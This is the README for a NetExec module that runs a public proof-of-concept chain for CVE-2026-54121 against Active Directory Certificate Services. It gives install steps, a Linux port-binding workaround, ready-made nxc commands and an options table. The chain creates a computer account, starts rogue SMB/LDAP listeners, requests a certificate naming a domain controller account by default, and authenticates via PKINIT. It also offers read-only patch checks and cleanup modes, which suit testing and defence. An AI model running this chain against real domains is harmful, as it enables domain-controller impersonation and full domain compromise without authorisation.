NetExec SMB module that runs the CVE-2026-54121 AD CS cdc-redirect PoC chain: computer account creation, certificate enrollment, PKINIT, plus read-only CA checks and cleanup.
NetExec (NXC) SMB module for running the CVE-2026-54121 PoC (AD CS cdc-redirect). The current version runs the full PoC chain and requires
DC_IP.
Original PoC: @h0j3n and @aniqfakhrul
Original repository: https://github.com/aniqfakhrul/CVE-2026-54121
This repository contains only the NXC integration — no changes were made to the PoC logic.
The module uses credentials from the NXC session and runs the original PoC: it creates a computer account (or uses a specified one), brings up SMB/LDAP servers, requests a certificate, and performs PKINIT. Binding to ports 445 and 389 requires Linux privileges: root, CAP_NET_BIND_SERVICE, or configuring the port threshold.
Based on the original PoC: @h0j3n and @aniqfakhrul — CVE-2026-54121
Module options are passed after a single inline -o, separated by spaces. -O is not supported. Do not separate options with commas and do not repeat -o: NetExec keeps only the last parameter block.
# Правильно: все три опции попадут в модуль
-o DEBUG=true DC_IP=192.168.200.87 CA_NAME=1
# Неправильно: останется только CA_NAME=1, DC_IP потеряется
-o DEBUG=true -o DC_IP=192.168.200.87 -o CA_NAME=1
git clone https://github.com/ushst/CVE-2026-54121-adcs-chase-nxc.git
cd CVE-2026-54121-adcs-chase-nxc
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python install.py
By default, files are copied to ~/.nxc/modules/. You can specify a different path:
python install.py --modules-dir /path/to/nxc/modules
nxc smb -L | grep certighost
The line certighost should appear.
NetExec can listen on TCP 445 without root if Linux allows the process to bind to that port. This module also needs TCP 389. The module checks whether both ports can be opened before any actions in AD; there is no hard requirement for UID 0. With the usual Linux threshold of 1024, an unprivileged process needs additional permission.
For a dedicated lab machine, you can temporarily allow regular users to use ports starting from 389:
# Посмотреть текущий порог и сохранить его для последующего возврата
sysctl net.ipv4.ip_unprivileged_port_start
# Разрешить непривилегированным процессам порты начиная с 389
sudo sysctl -w net.ipv4.ip_unprivileged_port_start=389
This allows all users and processes in the current network namespace to listen on free ports starting from 389, including 445. After that, run nxc without sudo: the module and configuration will be taken from your ~/.nxc (unless NXC_PATH is overridden), so there is no need to install the module separately for root.
A complete example of setup and running from your own user:
sudo sysctl -w net.ipv4.ip_unprivileged_port_start=389
nxc smb <ca-ip> -u USER -p 'PASS' -d DOMAIN -M certighost -o DEBUG=true DC_IP=192.168.200.87
Replace <ca-ip>, USER, PASS, DOMAIN and DC_IP with your own values. If necessary, add CA_NAME='CA name' after the same -o.
Changes made via sysctl -w are not saved to the boot configuration and remain in effect until reboot or until changed again. To restore the normal threshold:
sudo sysctl -w net.ipv4.ip_unprivileged_port_start=1024
If the original threshold differed from 1024, restore the original value.
An alternative that allows granting permission to an individual process without changing the global threshold is CAP_NET_BIND_SERVICE, for example via AmbientCapabilities in systemd. The ports must be free regardless of the launch method; a capability or root does not free an occupied port.
More details: privileged port threshold in the Linux documentation.
nxc smb <ca-ip> -u USER -p 'PASS' -d DOMAIN -M certighost -o DC_IP=<dc-ip>
nxc smb <ca-ip> -u USER -p 'PASS' -d DOMAIN -M certighost -o DEBUG=true DC_IP=192.168.200.87 CA_NAME=1
CA_NAME — the CA name, not its index in the list; 1 is only appropriate if the CA is actually named 1. For auto-discovery, omit CA_NAME.
| Option | Type | Default | Description |
|---|---|---|---|
DC_IP | string | required | Domain controller IP |
CA_NAME | string | auto | CA name |
LISTENER | string | auto | IP of local SMB/LDAP servers |
TARGET_SAN | string | first DC | Target account, e.g. DC01$ |
TEMPLATE | string | Machine | Certificate template |
COMP_NAME | string | — | Existing computer account |
COMP_HASH | string | — | NT hash of the existing computer account |
COMP_PASS | string | — | Password of the existing computer account |
USE_LDAP | bool | false | LDAP (389) instead of LDAPS (636) |
DEBUG | bool | false | Verbose impacket output |
CLEANUP | bool | false | Search for residual GHOST* accounts and output removal commands |
DELETE | bool | false | Find and delete residual accounts; automatically enables CLEANUP |
PREFIX | string | GHOST* | Name mask for searching during CLEANUP |
CHECK | bool | false | Read-only check of the configuration and CA patch |
RIGHTS | bool | false | Passive assessment of LDAP, MAQ and template publication |
ACTIVE | bool | false | Allow creation/deletion of a test computer in RIGHTS mode |
READ_DLL | bool | false | SHA-256 of certpdef.dll in CHECK mode |
OUTPUT_DIR | string | — | Directory for CHECK mode JSON reports |
VERBOSE | bool | false | Verbose CHECK mode output |
# Справка по опциям установленной версии
nxc smb -M certighost --options
# То же через запуск модуля (после подключения и аутентификации)
nxc smb <ca-ip> -u USER -p PASS -d DOMAIN -M certighost -o HELP
The checker reads the saved CA parameters and the Windows version through the existing SMB session. It does not start RemoteRegistry, does not send a certificate request, and does not modify the CA:
nxc smb <ca-ip> -u USER -p PASS -d DOMAIN -M certighost -o CHECK=true VERBOSE=true
The result separately shows the chase state, the patch assessment by build/UBR, and
the confidence level. The CertSvc in-memory state, enrollment rights, and actual
exploitability remain UNKNOWN/NOT_TESTED. For a JSON report, add
OUTPUT_DIR=./reports; READ_DLL=true additionally computes the SHA-256 of
certpdef.dll if ADMIN$ access is available.
nxc smb <ca-ip> -u USER -p PASS -d DOMAIN -M certighost \
-o RIGHTS=true DC_IP=<dc-ip> TEMPLATE=Machine
By default, the mode creates nothing: it checks LDAP access, ms-DS-MachineAccountQuota, counts computers with the user's ms-DS-CreatorSID, discovers CAs and template publication. The result COMPUTER_CREATE=LIKELY_VIA_MAQ is an estimate, not an actual operation. For an exact create/delete test, add ACTIVE=true: then a temporary GHOSTCHK…$ will be created and immediately deleted. Enrollment rights and network callback are not checked.